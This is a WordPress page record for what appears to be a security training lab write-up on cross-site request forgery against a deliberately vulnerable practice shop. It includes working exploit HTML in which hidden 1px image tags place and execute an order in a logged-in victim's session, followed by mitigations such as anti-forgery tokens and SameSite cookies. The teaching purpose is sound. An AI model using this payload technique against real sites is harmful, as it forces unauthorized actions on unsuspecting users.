{"id":773,"date":"2021-03-24T09:33:46","date_gmt":"2021-03-24T09:33:46","guid":{"rendered":"https:\/\/cas.cybercop-training.ch\/?page_id=773"},"modified":"2021-04-04T11:15:21","modified_gmt":"2021-04-04T11:15:21","slug":"xsrf-cross-site-request-forgery","status":"publish","type":"page","link":"https:\/\/cas.cybercop-training.ch\/index.php\/xsrf-cross-site-request-forgery\/","title":{"rendered":"XSRF &#8211; Cross Site Request Forgery"},"content":{"rendered":"<h1>XSRF Exercise &#8211; Cross Site Request Forgery<\/h1>\n<h2>1. Introduction<\/h2>\n<blockquote><p>Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.<\/p><\/blockquote>\n<p>The Cowbell Shop is vulnerable for the XSRF attack. The attacker wants to place a cow-bell order in the name of the victim behind the scenes. Exploit it! Simulate the attacker and victim in two independent browser instances.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/00.png\" alt=\"\" \/><\/p>\n<p>Please answer the following security questions<\/p>\n<ol>\n<li>Explain the security problem<\/li>\n<li>Explain your attack (exploit, screenshot, hacking journal)<\/li>\n<li>Explain mitigation (remedy)<\/li>\n<\/ol>\n<h2>2. Answers and Solution<\/h2>\n<h3><strong>2.1 XSRF Security Problem<\/strong><\/h3>\n<p>In short Cross-site request forgery (XSRF) vulnerabilities can be used to trick a user\u2019s browser into performing an unwanted action on your site.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/02.png\" alt=\"\" \/><br \/>\nCSRF attacks in the past have been used to:<\/p>\n<ol>\n<li>Steal confidential data.<\/li>\n<li>Spread worms on social media.<\/li>\n<li>Install malware on mobile phones.<\/li>\n<\/ol>\n<h3><strong>2.2 Attack Journal<\/strong><\/h3>\n<ol>\n<li>Victim logs in to the vulnerable Cowbellshop. Note there are no orders here yet:<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/01.png\" alt=\"\" \/><\/p>\n<ol start=\"2\">\n<li style=\"list-style-type: none;\">\n<ol start=\"2\">\n<li>Attacker prepares Exploit Code which run on his own webserver<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;SBC - Swiss Bell Club&lt;\/title&gt;\r\n&lt;\/head&gt;\r\n&lt;body&gt;\r\n&lt;h1&gt;Welcome to the Swiss Cow-Bell Club&lt;\/h1&gt;\r\n&lt;p&gt;Under construction....(load this page with open developer tools!\r\nObserve the network stack)&lt;\/p&gt;\r\n&lt;img\r\nsrc=\"https:\/\/glocken.vm.vuln.land\/12001\/inputval_case2\/inputval2\/controller\r\n?action=addproduct&amp;productId=2&amp;=&amp;quantity=13&amp;Submit=Bestellen\" width=\"1px\"\r\nheight=\"1px\" \/&gt;\r\n&lt;img\r\nsrc=\"https:\/\/glocken.vm.vuln.land\/12001\/inputval_case2\/inputval2\/controller\r\n?action=executeOrder\" width=\"1px\" height=\"1px\" \/&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;<\/pre>\n<p>As we can see embedded to a <code>&lt;img src=\"....\"&gt;<\/code> link a command for an order will be executed!<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/03.png\" alt=\"\" \/><\/p>\n<ol start=\"3\">\n<li>Victim visits the prepared landing page and is still logged in to the Cowbellshop<\/li>\n<li>Checking again the orders shows that an expensive order were executed in the victims browser.<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/04.png\" alt=\"\" \/><\/p>\n<h2>3. Mitigation<\/h2>\n<h3><strong>3.1 REST<\/strong><\/h3>\n<p>Representation State Transfer (REST) is a series of design principles that assign certain types of action (view, create, delete, update) to different HTTP methods.<br \/>\nFollowing REST-ful designs will keep your code clean and help your site scale. Moreover, REST insists that GET requests are used only to view resources. Keeping your GET requests side-effect free will limit the harm that can be done by maliciously crafted URLs\u2013an attacker will have to work much harder to generate harmful POST requests.<\/p>\n<h3><strong>3.2 Anti Forgering Tokens<\/strong><\/h3>\n<p>Each time your server renders a page that performs sensitive actions, it should write out an anti-forgery token in a hidden HTML form field. This token must be included with form submissions, or AJAX calls. The server should validate the token when it is returned in subsequent requests, and reject any calls with missing or invalid tokens.<\/p>\n<p>Anti-forgery tokens are typically (strongly) random numbers that are stored in a cookie or on the server as they are written out to the hidden field. The server will compare the token attached to the inbound request<br \/>\nwith the value stored in the cookie. If the values are identical, the server will accept the valid HTTP request.<\/p>\n<h3><strong>3.3 SameSite Cookie Attribute<\/strong><\/h3>\n<p>The Google Chrome team added a new attribute to the Set-Cookie header to help prevent CSRF, and it quickly became supported by the other browser vendors. The Same-Site cookie attribute allows developers to instruct browsers to control whether cookies are sent along with the request initiated by third-party domains.<\/p>\n<h3><strong>3.4 Include Addition Authentication for Sensitive Actions<\/strong><\/h3>\n<p>Many sites require a secondary authentication step, or require re-confirmation of login details when the user performs a sensitive action. (Think of a typical password reset page \u2013 usually the user will have to specify their old password before setting a new password.) Not only does this protect users who may accidentally leave themselves logged in on publicly accessible computers, but it also greatly reduces the possibility of CSRF attacks.<\/p>\n<p>PDF Report<\/p>\n<p><a href=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/04\/XSRF1.pdf\" class=\"mtli_attachment mtli_pdf\">XSRF#1<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>XSRF Exercise &#8211; Cross Site Request Forgery 1. Introduction Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. The Cowbell Shop is vulnerable for the [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-773","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/comments?post=773"}],"version-history":[{"count":5,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/773\/revisions"}],"predecessor-version":[{"id":921,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/773\/revisions\/921"}],"wp:attachment":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/media?parent=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}